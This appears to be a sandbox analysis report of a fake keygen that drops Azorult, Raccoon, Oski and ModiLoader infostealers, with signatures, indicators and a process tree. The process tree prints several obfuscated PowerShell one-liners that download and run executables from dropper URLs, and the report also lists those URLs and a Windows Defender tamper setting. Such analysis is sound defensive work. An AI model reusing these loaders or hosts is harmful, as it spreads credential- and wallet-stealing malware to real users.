azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
63s
max time network
147s
platform
windows10_x64
resource
win10v200722
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (15) — копия.exe

Score

10^/10

azorult modiloader oski raccoon discovery evasion infostealer ransomware spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Extracted

Path

C:\Users\Admin\AppData\LocalLow\machineinfo.txt

Family

raccoon

Ransom Note

[Raccoon Stealer] - v1.5.13-af-hotfix Release Build compiled on Mon Jul 6 14:33:02 2020 Launched at: 2020.10.02 - 01:29:17 GMT Bot_ID: 18823CA4-5761-4226-8787-CF36135F1C68_Admin Running on a desktop =R=A=C=C=O=O=N= - Cookies: 0 - Passwords: 5 - Files: 0 System Information: - System Language: English - System TimeZone: -0 hrs - IP: 154.61.71.13 - Location: 37.750999, -97.821999 | ?, ?, United States (?) - ComputerName: LZUKLIOU - Username: Admin - Windows version: NT 10.0 - Product name: Windows 10 Pro - System arch: x64 - CPU: Persocon Processor 2.5+ (2 cores) - RAM: 4095 MB (825 MB used) - Screen resolution: 1280x720 - Display devices: 0) Microsoft Basic Display Adapter ============

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult

Contains code to disable Windows Defender 4 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral86/memory/4800-317-0x000000000B940000-0x000000000B943000-memory.dmp	disable_win_def
behavioral86/memory/984-351-0x000000000AFA0000-0x000000000AFA5000-memory.dmp	disable_win_def
C:\Windows\Temp\owesmkhd.exe	disable_win_def
C:\Windows\temp\owesmkhd.exe	disable_win_def

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
Raccoon log file 1 IoCs
Detects a log file produced by the Raccoon Stealer.

Processes:

yara_rule

raccoon_log_file

yara_rule
raccoon_log_file

ModiLoader First Stage 1 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Jmh7TnAanY.exe	modiloader_stage1

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

13 2164 powershell.exe
14 3224 powershell.exe
15 60 powershell.exe
19 60 powershell.exe
20 3224 powershell.exe
21 2164 powershell.exe
Downloads MZ/PE file

flow	pid	process
13	2164	powershell.exe
14	3224	powershell.exe
15	60	powershell.exe
19	60	powershell.exe
20	3224	powershell.exe
21	2164	powershell.exe

Executes dropped EXE 25 IoCs

Processes:

Keygen.exeguw.exefyp.exevra.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeNHtrdsaghfDF.exevra.exefyp.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeNHtrdsaghfDF.exeguw.exeguw.exehgfnmbasdo.exehgfnmbasdo.exeaxcsdfa.exeaxcsdfa.exefp9suWP2us.exeJmh7TnAanY.exeuI4RfUxIpn.exemB6rrUvUhh.exeowesmkhd.exe

pid	process
3076	Keygen.exe
5048	guw.exe
5080	fyp.exe
5100	vra.exe
4244	FVjhgtresfdbv.exe
4208	FVjhgtresfdbv.exe
1000	NHtrdsaghfDF.exe
4384	NHtrdsaghfDF.exe
4596	vra.exe
4576	fyp.exe
3508	FVjhgtresfdbv.exe
1896	FVjhgtresfdbv.exe
4652	NHtrdsaghfDF.exe
624	NHtrdsaghfDF.exe
4264	guw.exe
4336	guw.exe
2100	hgfnmbasdo.exe
5024	hgfnmbasdo.exe
4904	axcsdfa.exe
5004	axcsdfa.exe
3968	fp9suWP2us.exe
4120	Jmh7TnAanY.exe
984	uI4RfUxIpn.exe
4800	mB6rrUvUhh.exe
4332	owesmkhd.exe

Loads dropped DLL 15 IoCs

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exefyp.exehgfnmbasdo.exe

pid	process
3508	FVjhgtresfdbv.exe
1896	FVjhgtresfdbv.exe
1896	FVjhgtresfdbv.exe
3508	FVjhgtresfdbv.exe
3508	FVjhgtresfdbv.exe
1896	FVjhgtresfdbv.exe
4576	fyp.exe
5024	hgfnmbasdo.exe
5024	hgfnmbasdo.exe
5024	hgfnmbasdo.exe
4576	fyp.exe
4576	fyp.exe
4576	fyp.exe
4576	fyp.exe
4576	fyp.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

mB6rrUvUhh.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	mB6rrUvUhh.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	mB6rrUvUhh.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Drops desktop.ini file(s) 1 IoCs

Processes:

fyp.exe

description ioc process

File created C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini fyp.exe

description	ioc	process
File created	C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini	fyp.exe

Suspicious use of SetThreadContext 9 IoCs

Processes:

vra.exefyp.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeNHtrdsaghfDF.exeguw.exehgfnmbasdo.exeaxcsdfa.exe

description	pid	process	target process
PID 5100 set thread context of 4596	5100	vra.exe	vra.exe
PID 5080 set thread context of 4576	5080	fyp.exe	fyp.exe
PID 4208 set thread context of 3508	4208	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4244 set thread context of 1896	4244	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 1000 set thread context of 4652	1000	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4384 set thread context of 624	4384	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 5048 set thread context of 4336	5048	guw.exe	guw.exe
PID 2100 set thread context of 5024	2100	hgfnmbasdo.exe	hgfnmbasdo.exe
PID 4904 set thread context of 5004	4904	axcsdfa.exe	axcsdfa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

hgfnmbasdo.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	hgfnmbasdo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe

Delays execution with timeout.exe 3 IoCs
evasion

Processes:

timeout.exetimeout.exetimeout.exe

pid process

3444 timeout.exe
192 timeout.exe
4116 timeout.exe
Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

1160 taskkill.exe
3772 taskkill.exe
4696 taskkill.exe

pid	process
3444	timeout.exe
192	timeout.exe
4116	timeout.exe

pid	process
1160	taskkill.exe
3772	taskkill.exe
4696	taskkill.exe

Modifies registry class 3 IoCs

Processes:

cmd.exeguw.exehgfnmbasdo.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	guw.exe
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	hgfnmbasdo.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeguw.exemB6rrUvUhh.exepowershell.exefp9suWP2us.exePowershell.exeuI4RfUxIpn.exe

pid	process
1336	powershell.exe
3224	powershell.exe
60	powershell.exe
2164	powershell.exe
4156	powershell.exe
1848	powershell.exe
60	powershell.exe
3224	powershell.exe
1336	powershell.exe
2164	powershell.exe
4156	powershell.exe
1848	powershell.exe
1336	powershell.exe
1336	powershell.exe
1848	powershell.exe
1848	powershell.exe
4156	powershell.exe
4156	powershell.exe
2164	powershell.exe
2164	powershell.exe
60	powershell.exe
60	powershell.exe
3224	powershell.exe
3224	powershell.exe
5048	guw.exe
5048	guw.exe
4800	mB6rrUvUhh.exe
4800	mB6rrUvUhh.exe
1624	powershell.exe
1624	powershell.exe
1624	powershell.exe
3968	fp9suWP2us.exe
3968	fp9suWP2us.exe
1632	Powershell.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
1632	Powershell.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

vra.exefyp.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeNHtrdsaghfDF.exe

pid process

5100 vra.exe
5080 fyp.exe
4208 FVjhgtresfdbv.exe
4244 FVjhgtresfdbv.exe
1000 NHtrdsaghfDF.exe
4384 NHtrdsaghfDF.exe

pid	process
5100	vra.exe
5080	fyp.exe
4208	FVjhgtresfdbv.exe
4244	FVjhgtresfdbv.exe
1000	NHtrdsaghfDF.exe
4384	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeguw.exetaskkill.exetaskkill.exehgfnmbasdo.exetaskkill.exeaxcsdfa.exemB6rrUvUhh.exepowershell.exefp9suWP2us.exePowershell.exeuI4RfUxIpn.exe

description	pid	process
Token: SeDebugPrivilege	1336	powershell.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	60	powershell.exe
Token: SeDebugPrivilege	2164	powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	3224	powershell.exe
Token: SeDebugPrivilege	5048	guw.exe
Token: SeDebugPrivilege	3772	taskkill.exe
Token: SeDebugPrivilege	1160	taskkill.exe
Token: SeDebugPrivilege	2100	hgfnmbasdo.exe
Token: SeDebugPrivilege	4696	taskkill.exe
Token: SeDebugPrivilege	4904	axcsdfa.exe
Token: SeDebugPrivilege	4800	mB6rrUvUhh.exe
Token: SeDebugPrivilege	1624	powershell.exe
Token: SeDebugPrivilege	3968	fp9suWP2us.exe
Token: SeDebugPrivilege	1632	Powershell.exe
Token: SeDebugPrivilege	984	uI4RfUxIpn.exe

Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

Keygen.exefyp.exevra.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeNHtrdsaghfDF.exeuI4RfUxIpn.exe

pid	process
3076	Keygen.exe
5080	fyp.exe
5100	vra.exe
4244	FVjhgtresfdbv.exe
4208	FVjhgtresfdbv.exe
1000	NHtrdsaghfDF.exe
4384	NHtrdsaghfDF.exe
984	uI4RfUxIpn.exe
984	uI4RfUxIpn.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (15) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exepowershell.exefyp.exevra.exe

description	pid	process	target process
PID 492 wrote to memory of 3376	492	Keygen — копия (15) — копия.exe	cmd.exe
PID 492 wrote to memory of 3376	492	Keygen — копия (15) — копия.exe	cmd.exe
PID 492 wrote to memory of 3376	492	Keygen — копия (15) — копия.exe	cmd.exe
PID 3376 wrote to memory of 3076	3376	cmd.exe	Keygen.exe
PID 3376 wrote to memory of 3076	3376	cmd.exe	Keygen.exe
PID 3376 wrote to memory of 3076	3376	cmd.exe	Keygen.exe
PID 3376 wrote to memory of 3084	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 3084	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 3084	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 2236	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 2236	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 2236	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 3444	3376	cmd.exe	timeout.exe
PID 3376 wrote to memory of 3444	3376	cmd.exe	timeout.exe
PID 3376 wrote to memory of 3444	3376	cmd.exe	timeout.exe
PID 3376 wrote to memory of 3900	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 3900	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 3900	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 2448	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 2448	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 2448	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 192	3376	cmd.exe	timeout.exe
PID 3376 wrote to memory of 192	3376	cmd.exe	timeout.exe
PID 3376 wrote to memory of 192	3376	cmd.exe	timeout.exe
PID 3900 wrote to memory of 3224	3900	mshta.exe	powershell.exe
PID 3900 wrote to memory of 3224	3900	mshta.exe	powershell.exe
PID 3900 wrote to memory of 3224	3900	mshta.exe	powershell.exe
PID 2448 wrote to memory of 1848	2448	mshta.exe	powershell.exe
PID 2448 wrote to memory of 1848	2448	mshta.exe	powershell.exe
PID 2448 wrote to memory of 1848	2448	mshta.exe	powershell.exe
PID 2236 wrote to memory of 1336	2236	mshta.exe	powershell.exe
PID 2236 wrote to memory of 1336	2236	mshta.exe	powershell.exe
PID 2236 wrote to memory of 1336	2236	mshta.exe	powershell.exe
PID 3084 wrote to memory of 2164	3084	mshta.exe	powershell.exe
PID 3084 wrote to memory of 2164	3084	mshta.exe	powershell.exe
PID 3084 wrote to memory of 2164	3084	mshta.exe	powershell.exe
PID 3376 wrote to memory of 2196	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 2196	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 2196	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 3976	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 3976	3376	cmd.exe	mshta.exe
PID 3376 wrote to memory of 3976	3376	cmd.exe	mshta.exe
PID 2196 wrote to memory of 60	2196	mshta.exe	powershell.exe
PID 2196 wrote to memory of 60	2196	mshta.exe	powershell.exe
PID 2196 wrote to memory of 60	2196	mshta.exe	powershell.exe
PID 3976 wrote to memory of 4156	3976	mshta.exe	powershell.exe
PID 3976 wrote to memory of 4156	3976	mshta.exe	powershell.exe
PID 3976 wrote to memory of 4156	3976	mshta.exe	powershell.exe
PID 3224 wrote to memory of 5048	3224	powershell.exe	guw.exe
PID 3224 wrote to memory of 5048	3224	powershell.exe	guw.exe
PID 3224 wrote to memory of 5048	3224	powershell.exe	guw.exe
PID 60 wrote to memory of 5080	60	powershell.exe	fyp.exe
PID 60 wrote to memory of 5080	60	powershell.exe	fyp.exe
PID 60 wrote to memory of 5080	60	powershell.exe	fyp.exe
PID 2164 wrote to memory of 5100	2164	powershell.exe	vra.exe
PID 2164 wrote to memory of 5100	2164	powershell.exe	vra.exe
PID 2164 wrote to memory of 5100	2164	powershell.exe	vra.exe
PID 5080 wrote to memory of 4244	5080	fyp.exe	FVjhgtresfdbv.exe
PID 5080 wrote to memory of 4244	5080	fyp.exe	FVjhgtresfdbv.exe
PID 5080 wrote to memory of 4244	5080	fyp.exe	FVjhgtresfdbv.exe
PID 5100 wrote to memory of 4208	5100	vra.exe	FVjhgtresfdbv.exe
PID 5100 wrote to memory of 4208	5100	vra.exe	FVjhgtresfdbv.exe
PID 5100 wrote to memory of 4208	5100	vra.exe	FVjhgtresfdbv.exe
PID 5100 wrote to memory of 1000	5100	vra.exe	NHtrdsaghfDF.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (15) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (15) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:492

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CE04.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (15) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3376

C:\Users\Admin\AppData\Local\Temp\CE04.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3076

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\CE04.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3084

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2164

C:\Users\Public\vra.exe
"C:\Users\Public\vra.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5100

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4208

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:3508

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 3508 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\663258821132935\\* & exit
8⤵
PID:3964

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 3508
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1160

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:1000

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4652

C:\Users\Public\vra.exe
"C:\Users\Public\vra.exe"
6⤵
- Executes dropped EXE
PID:4596

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\CE04.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2236

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1336

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3444

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\CE04.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3900

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3224

C:\Users\Public\guw.exe
"C:\Users\Public\guw.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5048

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"
6⤵
PID:4100

C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:2100

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs"
8⤵
PID:4380

C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4904

C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
10⤵
- Executes dropped EXE
PID:5004

C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
8⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:5024

C:\Windows\SysWOW64\cmd.exe
